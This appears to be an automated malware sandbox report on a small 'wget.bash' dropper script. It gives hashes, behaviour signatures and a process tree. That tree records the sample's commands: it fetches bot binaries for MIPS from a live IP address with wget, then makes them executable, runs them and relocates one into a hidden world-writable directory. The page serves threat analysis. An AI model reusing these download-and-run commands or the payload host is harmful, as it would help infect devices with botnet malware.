Overview

overview

5

Static

static

wget.bash

ubuntu-18.04-amd64

5

wget.bash

debian-9-armhf

5

wget.bash

debian-9-mips

5

wget.bash

debian-9-mipsel

5

Resubmissions

09-08-2022 18:31

220809-w6eersgaa2 5

09-08-2022 18:18

220809-wxyr2sfgg7 5

Analysis

  • max time network
    630s
  • platform
    linux_mips
  • resource
    debian9-mipsbe-en-20211208
  • resource tags

    arch:mipsimage:debian9-mipsbe-en-20211208kernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-08-2022 18:31

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    wget.bash

  • Size

    2KB

  • MD5

    9486bdff70b6ec6243b012a91e90c21e

  • SHA1

    2364e70ee0d49e4e641fa7428958f5907a8c26a3

  • SHA256

    2db0ba4efda0653533e32abca1417cafb84f58322dc8d4df183e64771626b826

  • SHA512

    e64e2324c403d967d3d04140bb0eba159e57b83db09fdd50e882a8edc595211837505c86c1d44a65d11b9c3a34c0d02496b3c06f264e1175e248397e9716b4bd

Score
5/10

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/wget.bash
    /tmp/wget.bash
    1⤵
    • Writes file to tmp directory
    PID:324
    • /usr/bin/wget
      wget http://109.206.241.211/bins/bot.mips
      2⤵
        PID:325
      • /bin/cat
        cat bot.mips
        2⤵
          PID:327
        • /bin/chmod
          chmod +x bot.mips fuwwyowo systemd-private-5734ea4df52c4afdabc78bd11d29746e-systemd-timesyncd.service-Uwjp3M wget.bash
          2⤵
            PID:328
          • ./fuwwyowo
            ./fuwwyowo ssh
            2⤵
              PID:329
            • /usr/bin/wget
              wget http://109.206.241.211/bins/bot.mpsl
              2⤵
                PID:331
            • /bin/sh
              sh -c "mkdir /sfr7xxdt8a/ && >/sfr7xxdt8a/sfr7xxdt8a && cd /sfr7xxdt8a/ >/dev/null"
              1⤵
                PID:333
                • /bin/mkdir
                  mkdir /sfr7xxdt8a/
                  2⤵
                  • Reads runtime system information
                  PID:334
              • /bin/sh
                sh -c "mv /tmp/fuwwyowo /sfr7xxdt8a/sfr7xxdt8a && chmod 777 /sfr7xxdt8a/sfr7xxdt8a >/dev/null"
                1⤵
                  PID:335
                  • /bin/mv
                    mv /tmp/fuwwyowo /sfr7xxdt8a/sfr7xxdt8a
                    2⤵
                    • Reads runtime system information
                    PID:336
                  • /bin/chmod
                    chmod 777 /sfr7xxdt8a/sfr7xxdt8a
                    2⤵
                      PID:337

                  Network

                  MITRE ATT&CK Matrix

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads